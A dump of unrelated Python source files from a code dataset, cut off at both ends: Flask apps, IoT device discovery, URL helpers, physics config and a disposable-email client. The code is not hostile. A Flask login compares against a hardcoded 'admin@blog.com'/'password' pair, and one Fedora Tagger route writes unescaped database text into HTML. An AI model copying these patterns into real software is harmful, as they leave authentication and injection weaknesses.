render_template('about.html', title='Ds-About')\n\n@app.route(\"/register\", methods=['GET', 'POST'])\ndef register():\n form = RegistrationForm()\n\n if form.validate_on_submit():\n flash(f'Account created for {form.username.data}!', 'success')\n return redirect(url_for('home'))\n\n return render_template('register.html', title='Register', form=form)\n\n\n@app.route(\"/login\", methods=['GET', 'POST'])\ndef login():\n form = LoginForm()\n \n if form.validate_on_submit():\n \n if form.email.data == 'admin@blog.com' and form.password.data == 'password':\n flash('You have been logged in! Successfully.!', 'success')\n return redirect(url_for('home'))\n else:\n flash('Login Unsuccessfull. Please check username & password', 'danger')\n \n return render_template('login.html', title='Login', form=form)\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n \n \n","sub_path":"flaskblog.py","file_name":"flaskblog.py","file_ext":"py","file_size_in_byte":1816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"169435508","text":"import sqlite3\r\nimport time\r\n\r\nfrom data.config import config\r\n\r\n\r\nclass logger:\r\n def __init__(self, irc):\r\n self.irc = irc\r\n self.dbconn = self.irc.db\r\n self.database_setup()\r\n\r\n def database_setup(self):\r\n \"\"\"\r\n Make sure we have a database connection to work with, and create user table if it does not exist yet\r\n \"\"\"\r\n self.db = self.dbconn.cursor()\r\n\r\n try:\r\n self.db.execute(\"SELECT * FROM log LIMIT 1\")\r\n except sqlite3.OperationalError:\r\n self.db.execute(\r\n \"CREATE TABLE log (hostname TEXT, nickname TEXT, channel TEXT, server TEXT, time INT, type TEXT, message TEXT)\")\r\n self.dbconn.commit()\r\n\r\n def log(self, message, channel, user, msgtype=\"text\"):\r\n self.db.execute(\r\n \"INSERT INTO log (hostname, nickname, channel, server, time, type, message) VALUES (?, ?, ?, ?, ?, ?, ?)\",\r\n (user.hostname, user.nickname, channel, config.host, int(time.time()), msgtype, message))\r\n self.dbconn.commit()\r\n","sub_path":"logger.py","file_name":"logger.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"94981181","text":"__author__ = 'ecrisostomo'\n\nfrom stormpath.util import assert_not_none\n\nclass Request:\n\n def __init__(self, http_method, href, body = None, http_headers = None, query_string = None):\n\n assert_not_none(href, \"href cannot be None.\")\n\n split = href.split('?')\n\n self.query_string = query_string if query_string else {}\n\n if len(split) > 1:\n\n self.href = split[0]\n query_string_str = split[1]\n\n query_string_lst = query_string_str.split('&')\n\n for pair in query_string_lst:\n\n pair_lst = pair.split('=')\n\n self.query_string[pair_lst[0]] = pair_lst[1]\n\n else:\n self.href = href\n\n self.http_method = http_method.upper()\n self.http_headers = http_headers if http_headers else {}\n self.body = body\n\n if self.body is not None:\n self.http_headers['Content-Length'] = str(len(self.body))\n\nclass Response:\n\n def __init__(self, http_status, content_type, body):\n self.http_status = http_status\n self.headers = {'content-type' : content_type}\n self.body = body\n\n def is_client_error(self):\n return self.http_status >= 400 and self.http_status < 500\n\n def is_server_error(self):\n return self.http_status >= 500 and self.http_status < 600\n\n def is_error(self):\n return self.is_client_error() or self.is_server_error()\n","sub_path":"stormpath/http/request_response.py","file_name":"request_response.py","file_ext":"py","file_size_in_byte":1417,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"226472401","text":"import socket\nimport logging\nfrom datetime import timedelta\n\nDISCOVERY_PORT = 30303\nDISCOVERY_ADDRESS = '<broadcast>'\nDISCOVERY_PAYLOAD = b\"D\"\nDISCOVERY_TIMEOUT = timedelta(seconds=5)\nSUPPORTED_PRODUCTS = ['TellStickNet',\n 'TellstickZnet']\n\nMIN_TELLSTICKNET_FIRMWARE_VERSION = 17\n\n_LOGGER = logging.getLogger(__name__)\n\n\ndef discover(timeout=DISCOVERY_TIMEOUT, host=DISCOVERY_ADDRESS):\n \"\"\"Scan network for Tellstick Net devices\n If host is set just run discover on specified\n host\n \"\"\"\n _LOGGER.info(\"Discovering tellstick devices ...\")\n with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock:\n sock.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)\n sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n sock.settimeout(timeout.seconds)\n\n sock.sendto(DISCOVERY_PAYLOAD, (host, DISCOVERY_PORT))\n\n while True:\n try:\n data, (address, port) = sock.recvfrom(1024)\n entry = data.decode(\"ascii\").split(\":\")\n if len(entry) != 4:\n _LOGGER.info(\"Malformed reply\")\n continue\n\n (product, mac, code, firmware) = entry\n\n _LOGGER.info(\"Found %s device with firmware %s at %s\",\n product, firmware, address)\n\n if not any(device in product\n for device in SUPPORTED_PRODUCTS):\n _LOGGER.info(\"Unsupported product %s\", product)\n elif (product == 'TellStickNet' and\n int(firmware) < MIN_TELLSTICKNET_FIRMWARE_VERSION):\n _LOGGER.info(\"Unsupported firmware version: %s\", firmware)\n else:\n yield address, entry\n\n except socket.timeout:\n break\n\n\ndef mock():\n \"\"\"Mock a Tellstick Net device listening for discovery requests.\"\"\"\n _LOGGER.info(\"Mocking a Tellstick device\")\n with socket.socket(socket.AF_INET, socket.SOCK_DGRAM) as sock:\n sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n sock.bind((DISCOVERY_ADDRESS, DISCOVERY_PORT))\n while True:\n data, (address, port) = sock.recvfrom(1024)\n if data == DISCOVERY_PAYLOAD:\n _LOGGER.info(\"Got discovery request, replying\")\n response = \"%s:MAC:CODE:%d\" % (\n 'TellstickNet',\n MIN_TELLSTICKNET_FIRMWARE_VERSION)\n sock.sendto(response.encode(\"ascii\"),\n (address, port))\n\n\nif __name__ == '__main__':\n from sys import argv\n if argv[-1] == \"mock\":\n mock()\n elif argv[-1] is not None:\n controllers = list(discover(host=argv[-1]))\n from pprint import pprint\n pprint(controllers)\n else:\n controllers = list(discover())\n from pprint import pprint\n pprint(controllers)\n","sub_path":"tellsticknet/discovery.py","file_name":"discovery.py","file_ext":"py","file_size_in_byte":2932,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"155559320","text":"import FWCore.ParameterSet.Config as cms\n\ndef thresholds( wp ) :\n return cms.vdouble([{\"L\": 1.03,\"M\":1.75,\"T\":2.61}.get(wp,1.e6), # unbiased\n {\"L\":-0.48,\"M\":0.76,\"T\":1.83}.get(wp,1.e6)]) # ptbiased\n\nlowPtGsfElectronSeeds = cms.EDProducer(\n \"LowPtGsfElectronSeedProducer\",\n tracks = cms.InputTag(\"generalTracks\"),\n pfTracks = cms.InputTag(\"lowPtGsfElePfTracks\"),\n ecalClusters = cms.InputTag(\"particleFlowClusterECAL\"),\n hcalClusters = cms.InputTag(\"particleFlowClusterHCAL\"),\n EBRecHits = cms.InputTag(\"ecalRecHit\",\"EcalRecHitsEB\"),\n EERecHits = cms.InputTag(\"ecalRecHit\",\"EcalRecHitsEE\"),\n rho = cms.InputTag('fixedGridRhoFastjetAllTmp'),\n BeamSpot = cms.InputTag(\"offlineBeamSpot\"),\n Fitter = cms.string('GsfTrajectoryFitter_forPreId'),\n Smoother = cms.string('GsfTrajectorySmoother_forPreId'),\n TTRHBuilder = cms.string('WithAngleAndTemplate'),\n ModelNames = cms.vstring([\n 'unbiased',\n 'ptbiased',\n ]),\n ModelWeights = cms.vstring([\n 'RecoEgamma/ElectronIdentification/data/LowPtElectrons/RunII_Fall17_LowPtElectrons_unbiased.xml.gz',\n 'RecoEgamma/ElectronIdentification/data/LowPtElectrons/RunII_Fall17_LowPtElectrons_displaced_pt_eta_biased.xml.gz',\n ]),\n ModelThresholds = thresholds(\"T\"),\n PassThrough = cms.bool(False),\n UsePfTracks = cms.bool(True),\n MinPtThreshold = cms.double(1.0),\n MaxPtThreshold = cms.double(15.),\n )\n\n# Modifiers for FastSim\nfrom Configuration.Eras.Modifier_fastSim_cff import fastSim\nlowPtGsfElectronSeedsTmp = lowPtGsfElectronSeeds.clone(tracks = cms.InputTag(\"generalTracksBeforeMixing\"))\nimport FastSimulation.Tracking.ElectronSeedTrackRefFix_cfi\n_fastSim_lowPtGsfElectronSeeds = FastSimulation.Tracking.ElectronSeedTrackRefFix_cfi.fixedTrackerDrivenElectronSeeds.clone()\n_fastSim_lowPtGsfElectronSeeds.seedCollection = cms.InputTag(\"lowPtGsfElectronSeedsTmp\",\"\")\n_fastSim_lowPtGsfElectronSeeds.idCollection = cms.VInputTag(\"lowPtGsfElectronSeedsTmp\",\"lowPtGsfElectronSeedsTmp:HCAL\")\n_fastSim_lowPtGsfElectronSeeds.PreIdLabel = cms.vstring(\"\",\"HCAL\")\n_fastSim_lowPtGsfElectronSeeds.PreGsfLabel = cms.string(\"\")\nfastSim.toReplaceWith(lowPtGsfElectronSeeds,_fastSim_lowPtGsfElectronSeeds)\n\n# Modifiers for Phase2\nfrom Configuration.Eras.Modifier_phase2_tracker_cff import phase2_tracker\nphase2_tracker.toModify(lowPtGsfElectronSeeds, TTRHBuilder = 'WithTrackAngle')\n\n# Modifiers for BParking\nfrom Configuration.Eras.Modifier_bParking_cff import bParking\nbParking.toModify(lowPtGsfElectronSeeds, ModelThresholds = thresholds(\"L\") )\nbParking.toModify(lowPtGsfElectronSeeds, MinPtThreshold = 0.5)\n","sub_path":"RecoEgamma/EgammaElectronProducers/python/lowPtGsfElectronSeeds_cfi.py","file_name":"lowPtGsfElectronSeeds_cfi.py","file_ext":"py","file_size_in_byte":2683,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"446165661","text":"# This file is a part of Fedora Tagger\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation; either version 2 of the License, or\n# (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,\n# MA 02110-1301 USA\n#\n# Refer to the README.rst and LICENSE files for full details of the license\n# -*- coding: utf-8 -*-\n\"\"\"The flask frontend app\"\"\"\n\nimport flask\n\nfrom flask.ext.mako import render_template\n\nimport tw2.core\nimport tw2.jquery\nimport tw2.jqplugins.ui\n\nimport fedoratagger as ft\nimport fedoratagger.lib\nfrom fedoratagger.lib import model as m\nfrom fedoratagger.frontend.widgets.card import CardWidget\nfrom fedoratagger.frontend.widgets.user import UserWidget\nfrom fedoratagger.frontend.widgets.dialog import (\n HotkeysDialog,\n SearchDialog,\n LeaderboardDialog,\n StatisticsDialog,\n AddTagDialog,\n)\n\n\nFRONTEND = flask.Blueprint(\n 'frontend', __name__,\n url_prefix='',\n template_folder='templates',\n static_folder='static',\n static_url_path='',\n)\n\n# Some template strings for the 'details' view.\nicon_template = \"images/favicons/16_{serv}.png\"\nitem_template = \"<li><img src='{icon}'/>\" + \\\n \"<a href='{url}' target='_blank'>{text}</a></li>\"\nservices = [\n ('pkg', 'Packages', \"https://apps.fedoraproject.org/packages/{name}\"),\n ('koji', 'Builds', \"https://koji.fedoraproject.org/koji/search\" +\n \"?terms={name}&type=package&match=exact\"),\n ('bodhi', 'Updates', \"https://bodhi.fedoraproject.org/updates/\" +\n \"?packages={name}\"),\n ('bugs', 'Bugs', \"https://apps.fedoraproject.org/packages/{name}/bugs\"),\n ('sources', 'Source', \"https://src.fedoraproject.org/rpms/{name}\"),\n]\n\n\n@FRONTEND.before_request\ndef before_request(*args, **kw):\n \"\"\" Function called for each request performed.\n It configures and injects globally required resources.\n \"\"\"\n\n # Include jquery on every page.\n tw2.jquery.jquery_js.req().prepare()\n\n # Set the theme to 'hot-sneaks'\n tw2.jqplugins.ui.set_ui_theme_name('hot-sneaks')\n\n for link in [\"utilities.js\", \"cards.js\", \"navigation.js\"]:\n tw2.core.JSLink(link=\"javascript/%s\" % link).req().prepare()\n\n flask.g.config = ft.APP.config\n\n flask.g.hotkeys_dialog = HotkeysDialog\n flask.g.search_dialog = SearchDialog\n flask.g.leaderboard_dialog = LeaderboardDialog\n flask.g.statistics_dialog = StatisticsDialog\n flask.g.user_widget = UserWidget\n\n flask.g.fas_user = fedoratagger.flask_utils.current_user(flask.request)\n\n if flask.g.fas_user and not flask.g.fas_user.anonymous:\n flask.g.add_dialog = AddTagDialog\n\n\n@FRONTEND.route('/_heartbeat')\ndef heartbeat():\n \"\"\"Fast heartbeat monitor so haproxy knows if we are runnining\"\"\"\n return \"Lub-Dub\"\n\n\n# TODO -- determine wtf this is used for.. :/\n@FRONTEND.route('/raw/<name>')\ndef raw(name):\n package = m.Package.by_name(ft.SESSION, name)\n\n html = \"<html><body>\"\n html += \"<h1>\" + package.name + \"</h1>\"\n html += \"<h3>Tags/Votes/Voters</h3>\"\n html += \"<ul>\"\n\n for tag in package.tags:\n html += \"<li>\"\n html += tag.label + \" \" + str(tag.like - tag.dislike)\n html += \"<ul>\"\n for vote in tag.votes:\n html += \"<li>\" + vote.user.username + \"</li>\"\n html += \"</ul>\"\n html += \"</li>\"\n\n html += \"</ul>\"\n html += \"</body></html>\"\n return html\n\n\n@FRONTEND.route('/card', defaults=dict(name=None))\n@FRONTEND.route('/card/<name>')\ndef card(name):\n \"\"\" Handles the /card path. Return a rendered CardWidget in HTML.\n\n If no name is specified, produce a widget for a package selected at\n random.\n\n If a name is specified, try to search for that package and render the\n associated CardWidget.\n \"\"\"\n\n package = None\n if name and name != \"undefined\":\n package = m.Package.by_name(ft.SESSION, name)\n else:\n package = m.Package.random(ft.SESSION)\n\n w = CardWidget(package=package, session=ft.SESSION)\n return w.display()\n\n\n@FRONTEND.route('/details', defaults=dict(name=None))\n@FRONTEND.route('/details/<name>')\ndef details(name):\n \"\"\" Handles the /details path.\n\n Return a list of details for a package.\n \"\"\"\n name = name or flask.request.args.get('name', None)\n\n items = [\n item_template.format(\n icon=icon_template.format(serv=serv),\n url=url.format(name=name),\n text=text\n ) for serv, text, url in services\n ]\n return \"<ul>\" + \"\\n\".join(items) + \"</ul>\"\n\n\n@FRONTEND.route('/leaderboard', defaults=dict(N=10))\n@FRONTEND.route('/leaderboard/<int:N>')\ndef leaderboard(N):\n \"\"\" Handles the /leaderboard path.\n\n Returns an HTML table of the top N users.\n \"\"\"\n\n # TODO -- 'N' is unused here. need to dig a tunnel through the .lib api\n users = fedoratagger.lib.leaderboard(ft.SESSION)\n\n if N > len(users):\n N = len(users)\n\n keys = ['gravatar', 'name', 'score']\n row = \"<tr>\" + ''.join([\"<td>{%s}</td>\" % k for k in keys]) + \"</tr>\"\n rows = [\n row.format(**users[i + 1]) for i in range(N)\n ]\n template = \"\"\"\n <table class=\"leaderboard\">\n <tr>\n <th colspan=\"2\">User</th>\n <th>Score</th>\n </tr>\n {rows}\n </table>\"\"\"\n return template.format(rows=\"\".join(rows))\n\n\n@FRONTEND.route('/', defaults=dict(name=None))\n@FRONTEND.route('/<name>')\ndef home(name=None):\n \"\"\" Really, the main index.\n\n Returns a list of (the first three) card widgets for the\n template to render. The rest are acquired as needed via ajax calls to\n the /card path.\n\n \"\"\"\n\n if not name:\n name = m.Package.random(ft.SESSION).name\n flask.redirect(name)\n\n packages = [None] * 4\n\n if name:\n try:\n packages[1] = m.Package.by_name(ft.SESSION, name)\n except m.NoResultFound:\n packages[1] = m.Package()\n\n cards = [\n CardWidget(package=packages[i], session=ft.SESSION)\n for i in range(4)\n ]\n cards[1].css_class = 'card center'\n\n return render_template('tagger.mak', cards=cards,\n title=cards[1].package.name)\n\n@FRONTEND.route('/<name>/')\ndef home2(name=None):\n return flask.redirect(flask.request.url[:-1])\n\n@FRONTEND.route('/login/', methods=('GET', 'POST'))\ndef auth_login():\n \"\"\" Method to log into the application. \"\"\"\n next_url = flask.request.args.get('next', flask.url_for('frontend.home'))\n # If user is already logged in, return them to where they were last\n if flask.g.fas_user and not flask.g.fas_user.anonymous:\n return flask.redirect(next_url)\n return ft.FAS.login(return_url=next_url)\n\n\n@FRONTEND.route('/logout/', methods=('GET', 'POST'))\ndef auth_logout():\n \"\"\" Method to log out of the application. \"\"\"\n next_url = flask.request.args.get('next', flask.url_for('frontend.home'))\n # If user is already logged out, return them to where they were last\n if not flask.g.fas_user or flask.g.fas_user.anonymous:\n return flask.redirect(next_url)\n\n ft.FAS.logout()\n return flask.redirect(next_url)\n\n\n@FRONTEND.route('/notifs_toggle/', methods=('GET', 'PATCH'))\ndef notifs_toggle():\n flask.g.fas_user.notifications_on = not flask.g.fas_user.notifications_on\n ft.SESSION.commit()\n\n jsonout = flask.jsonify(dict(\n notifications_on=flask.g.fas_user.notifications_on\n ))\n jsonout.status_code = 200\n\n return jsonout\n\n\n#pulls out notification state without changing it\n@FRONTEND.route('/notifs_state/', methods=('GET',))\ndef notifs_state():\n\n jsonout = flask.jsonify(dict(\n notifications_on=flask.g.fas_user.notifications_on\n ))\n jsonout.status_code = 200\n\n return jsonout\n","sub_path":"fedoratagger/frontend/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":8138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"465808875","text":"from w1thermsensor import W1ThermSensor\nimport traceback\n\ndef read_temp(*args):\n try:\n sensor = W1ThermSensor()\n temperature_in_celsius = sensor.get_temperature()\n del sensor\n return \"ok\", round(temperature_in_celsius,2)\n except:\n return \"error\", traceback.format_exc()\n\n\nif __name__ == \"__main__\":\n print(\"temp (Celsius): \",read_temp())\n","sub_path":"rpi-code/temp.py","file_name":"temp.py","file_ext":"py","file_size_in_byte":382,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"221727986","text":"import urllib.parse\nimport re\n\n\ndef urlsplit_pro(url):\n url = re.sub(r'^(https?)://(/+)', r'\\1://', url) # https:////petushki.info -> http://petushki.info ->\n if not url.startswith('http') and not url.startswith('//') and url[1:10].find('://') == -1:\n url = \"//\" + url\n return urllib.parse.urlsplit(url)\n\n\ndef get_site_url(url):\n parsed_url = urlsplit_pro(url)\n return parsed_url.netloc + parsed_url.path\n\n\ndef get_url_modifications(url: str):\n o = urlsplit_pro(url)\n if len(o.scheme) > 0:\n protocols = [o.scheme]\n else:\n protocols = [\"http\", \"https\"]\n if o.netloc.startswith(\"www.\"):\n with_www = [False] # already has www\n else:\n with_www = [False, True]\n input_netloc = o.netloc\n if input_netloc.endswith(':443'):\n #delete port and switch to https\n protocols = [\"https\"]\n input_netloc = input_netloc[0:-len(\":443\")]\n for only_with_www in with_www:\n for protocol in protocols:\n host = input_netloc\n if only_with_www:\n host = \"www.\" + host\n modified_url = urllib.parse.urlunsplit((protocol, host, o.path, o.query, o.fragment))\n yield modified_url\n\n# get_web_site_identifier returns netloc + url path without www\n# for example http://www.aot.ru/some_page?aaa=1 -> aot.ru/some_page\ndef strip_scheme_and_query(url):\n if url.startswith(\"https\"):\n url = url.replace(':443/', '/')\n if url.endswith(':443'):\n url = url[:-4]\n\n url = url.strip('/').lower()\n\n for p in ['http://', 'https://', \"www.\"]:\n if url.startswith(p):\n url = url[len(p):]\n if TUrlUtf8Encode.is_idna_string(url):\n url = TUrlUtf8Encode.convert_url_from_idna(url)\n return url\n\n\ndef site_url_to_file_name(site_url: str):\n file_name = strip_scheme_and_query(site_url)\n file_name = re.sub('(:)(?=[0-9])', '_port_delim_', file_name)\n file_name = file_name.replace('/', '_')\n assert len(file_name) > 0\n assert file_name.find('.') != -1\n return file_name\n\n\ndef strip_viewer_prefix(href):\n if href is None:\n return href\n # https://docs.google.com/viewer?url=https%3A%2F%2Foren-rshn.ru%2Findex.php%3Fdo%3Ddownload%26id%3D247%26area%3Dstatic%26viewonline%3D1\n viewers = ['https://docs.google.com/viewer?url=',\n 'https://docviewer.yandex.ru/?url=',\n 'https://view.officeapps.live.com/op/embed.aspx?src=',\n 'https://view.officeapps.live.com/op/view.aspx?src=']\n for prefix in viewers:\n if href.startswith(prefix):\n href = href[len(prefix):]\n return urllib.parse.unquote(href)\n return href\n\n\n# get_site_domain_wo_www returns netloc without www\n# for excample http://www.aot.ru -> aot.ru\n# http://www.aot.ru/xxxx?aaa -> aot.ru\ndef get_site_domain_wo_www(url):\n if url is None or len(url) == 0:\n return \"\"\n\n if not re.search(r'^[A-Za-z0-9+.\\-]+://', url):\n url = 'http://{0}'.format(url)\n domain = urlsplit_pro(url).netloc\n if domain.startswith('www.'):\n domain = domain[len('www.'):]\n return domain\n\n\nclass TUrlUtf8Encode:\n @staticmethod\n def is_idna_string(s):\n #1.xn----7sbam0ao3b.xn--p1ai\n return s.find(\"xn--\") != -1\n\n @staticmethod\n def has_cyrillic(text):\n return bool(re.search('[Ёёа-яА-Я]', text))\n\n @staticmethod\n def to_idna(s):\n try:\n return s.encode('idna').decode('latin')\n except UnicodeError as err:\n #see def test_idna_exception(self):\n if TUrlUtf8Encode.has_cyrillic(s):\n raise\n else:\n return s\n\n @staticmethod\n def from_idna(s):\n return s.encode('latin').decode('idna')\n\n @staticmethod\n def convert_if_idna(s):\n if TUrlUtf8Encode.is_idna_string(s):\n return TUrlUtf8Encode.from_idna(s)\n else:\n return s\n\n @staticmethod\n def convert_url_to_idna(url):\n o = urlsplit_pro(url)\n host = o.netloc\n if TUrlUtf8Encode.has_cyrillic(host):\n host = TUrlUtf8Encode.to_idna(host)\n url = urllib.parse.urlunsplit((o.scheme, host, o.path, o.query, o.fragment))\n return url\n\n @staticmethod\n def convert_url_from_idna(url):\n if not TUrlUtf8Encode.is_idna_string(url):\n return url\n o = urlsplit_pro(url)\n host = TUrlUtf8Encode.from_idna(o.netloc)\n s = urllib.parse.urlunsplit((o.scheme, host, o.path, o.query, o.fragment))\n if not url.startswith('//') and s.startswith('//'):\n s = s[2:]\n return s","sub_path":"tools/common/urllib_parse_pro.py","file_name":"urllib_parse_pro.py","file_ext":"py","file_size_in_byte":4634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"143775112","text":"#find years to save to buy house with raise\n\nannual_salary = float(input(\"Salary?\"))\nportion_saved = float(input(\"Portion savings percent?\"))\ntotal_cost = float(input(\"House cost?\"))\nsemi_annual_raise = float(input(\"Raise percent?\"))\n\nportion_down_payment = total_cost * .25\n\ncurrent_savings = 0\nmonths_saved = 0\nwhile current_savings < portion_down_payment:\n monthly_saving = (annual_salary / 12) * portion_saved\n current_savings = current_savings * (1 + .04 / 12)\n current_savings += monthly_saving\n months_saved += 1\n if months_saved % 6 == 0:\n annual_salary = annual_salary * (1 + semi_annual_raise)\nprint(months_saved)\n","sub_path":"contents/assignments/ps1b.py","file_name":"ps1b.py","file_ext":"py","file_size_in_byte":646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"562062247","text":"import os\nimport json\nimport requests\nimport sys\n\n\nfrom requests.cookies import cookiejar_from_dict\n\nimport time\n\nfrom bs4 import BeautifulSoup\nimport re\n\n\nfrom .config import Config\n\n\n\nclass Auth(object):\n def __init__(self):\n self.session = requests.Session()\n self.session.headers = {\n \"User-Agent\": Config.USER_AGENT\n }\n\n\n def login_with_cookies(self, random: bool=False):\n if random:\n self.cookies = self.get_cookies()\n elif os.path.isfile(\"./cookies.json\"):\n with open(\"./cookies.json\") as file:\n self.cookies = json.load(file)\n else:\n self.cookies = self.get_cookies()\n \"\"\"\n dictオブジェクトをcookiesオブジェクトに変換\n \"\"\"\n self.session.cookies = cookiejar_from_dict(self.cookies)\n self.save_cookies()\n\n\n def login_with_uid_and_passwd(self, user_id: str, password: str):\n self.login_with_cookies()\n param = {\n \"action\": \"checkLogin\",\n \"nopost\": \"1\",\n \"UID_enc\": self.cookies[\"cookie_uidenc_seted\"],\n \"csrf_token_check\": self.cookies[\"cookie_csrf_token\"],\n \"csrf_subtoken_check\": self.login_token,\n \"number\": user_id,\n \"password\": password,\n \"t\": str(int(time.time())),\n \"_\": str(int(time.time()))\n }\n req = self.session.get(\n Config.HOST + Config.INDEX,\n params=param\n )\n if req.status_code == 200:\n uid = req.text.lstrip(\"OK:\")\n self.reissue_cookies(uid)\n else:\n print(f\"failed {sys._getframe().f_code.co_name} with statu code {req.status_code}\")\n\n\n def reissue_cookies(self, uid: str):\n param = {\n \"action\": \"changeUID\",\n \"new_UID\": uid\n }\n req = self.session.get(\n Config.HOST + Config.INDEX,\n params=param,\n allow_redirects=False\n )\n if req.status_code == 200:\n \"\"\"\n 重複するcookiesをなくすために一度辞書にする\n \"\"\"\n self.session.cookies.update(req.cookies.get_dict())\n self.session.cookies = cookiejar_from_dict(self.session.cookies.get_dict())\n else:\n print(f\"failed {sys._getframe().f_code.co_name} with statu code {req.status_code}\")\n self.save_cookies()\n\n\n def get_cookies(self) -> dict:\n req = self.session.get(\n Config.HOST,\n )\n if req.status_code == 200:\n pattern = r\"csrf_subtoken_check=[a-zA-z0-9]*\"\n self.login_token = re.findall(pattern, req.text)[0].lstrip(\"csrf_subtoken_check=\")\n soup = BeautifulSoup(req.text, \"html.parser\")\n self.passwd = re.findall(r\"[0-9]*\", soup.find(\"td\", id=\"area_passwordview\").string)[11]\n self.userID = re.findall(r\"[0-9]*\", soup.find(\"td\", id=\"area_numberview\").string)[12]\n print(f\"\"\"アカウントの作成に成功\nuserid : {self.userID}\npasswd : {self.passwd}\"\"\")\n return req.cookies.get_dict()\n else:\n print(f\"failed {sys._getframe().f_code.co_name} with statu code {req.status_code}\")\n\n def save_cookies(self):\n with open(\"./cookies.json\", \"w\") as file:\n json.dump(self.cookies, file, indent=4, ensure_ascii=False)\n","sub_path":"sutemail/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":3391,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"376671888","text":"#The NBA_moment class is meant to be a tool for working with single 'moments' within the movement JSON files provided by the NBA.\n\n#Expected JSON structure\n#A 'moments' contains (quarter, ?, game clock (seconds), shot clock (seconds),?, player+ball position)\n#Shot clock can be empty (none, nonetype, etc.).\n#player+ball position contains: (team ID, player ID, x coordinate, y coordinate, z coordinate).\n#For ball, team ID = -1, player ID = -1, z coordinate is physically meaningful.\n#For players, z position is always zero. \n\n\nimport math\nimport pandas as pd\nclass moment:\n def __init__(self,rawMoment,eventID):\n self.quarter=rawMoment[0]\n if rawMoment:\n self.momentDict={}\n #self.momentDict['gameClock']=rawMoment[2]\n #self.momentDict['shotClock']=rawMoment[3]\n for player in rawMoment[5]:\n #if player[1]==-1:\n #self.momentDict[player[1]]=round(player[2],2)#[round(player[2],2),round(player[3],2),round(player[4],2)]\n #else:\n self.momentDict[player[1]]=(round(player[2],2),round(player[3],2))\n self.momentDF=pd.DataFrame(self.momentDict)#,index=[0])\n else:\n self.momentDF=False\n","sub_path":"build2/moment.py","file_name":"moment.py","file_ext":"py","file_size_in_byte":1238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"45544005","text":"import os\nimport glob\nimport pickle\nfrom os.path import join\n\nimport cv2\nimport matplotlib.pyplot as plt\nimport imageio\n\n\nclass Trace(object):\n def __init__(self):\n self.obs = []\n self.actions = []\n self.rewards = []\n self.dones = []\n self.infos = []\n self.reward_sum = 0\n self.game_score = None\n self.length = 0\n self.states = []\n\n def update(self, obs, r, done, infos, a, state_id):\n self.obs.append(obs)\n self.rewards.append(r)\n self.dones.append(done)\n self.infos.append(infos)\n self.actions.append(a)\n self.reward_sum += r\n self.states.append(state_id)\n self.length += 1\n\n\nclass State(object):\n def __init__(self, name, obs, action_vector, feature_vector, img):\n self.observation = obs\n self.image = img\n self.observed_actions = action_vector\n self.name = name\n self.features = feature_vector\n\n def plot_image(self):\n plt.imshow(self.image)\n plt.show()\n\n def save_image(self, path, name):\n imageio.imwrite(path + '/' + name + '.png', self.image)\n\n\ndef pickle_load(filename):\n return pickle.load(open(filename, \"rb\"))\n\n\ndef pickle_save(obj, path):\n with open(path, \"wb\") as file:\n pickle.dump(obj, file)\n\n\ndef make_clean_dirs(path, no_clean=False, file_type=''):\n try:\n os.makedirs(path)\n except:\n if not no_clean: clean_dir(path, file_type)\n\n\ndef clean_dir(path, file_type=''):\n files = glob.glob(path + \"/*\" + file_type)\n for f in files:\n os.remove(f)\n\n\ndef create_video(frames_dir, output_dir, n_HLs, size, fps):\n make_clean_dirs(output_dir)\n for hl in range(n_HLs):\n hl_str = str(hl) if hl > 9 else \"0\" + str(hl)\n img_array = []\n file_list = sorted(\n [x for x in glob.glob(frames_dir + \"/*.png\") if x.split('/')[-1].startswith(hl_str)])\n for f in file_list:\n img = cv2.imread(f)\n img_array.append(img)\n out = cv2.VideoWriter(join(output_dir, f'HL_{hl}.mp4'), cv2.VideoWriter_fourcc(*'mp4v'),\n fps, size)\n for i in range(len(img_array)):\n out.write(img_array[i])\n out.release()\n\n","sub_path":"highlights/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2250,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"195847010","text":"import unittest\n\nfrom socorro.external.postgresql.crashes import Crashes\nfrom socorro.lib import util\n\nimport socorro.unittest.testlib.util as testutil\n\n\n#------------------------------------------------------------------------------\ndef setup_module():\n testutil.nosePrintModule(__file__)\n\n\n#==============================================================================\nclass TestCrashes(unittest.TestCase):\n \"\"\"Test PostgreSQLBase class. \"\"\"\n\n #--------------------------------------------------------------------------\n def get_dummy_context(self):\n \"\"\"Create a dummy config object to use when testing.\"\"\"\n context = util.DotDict()\n 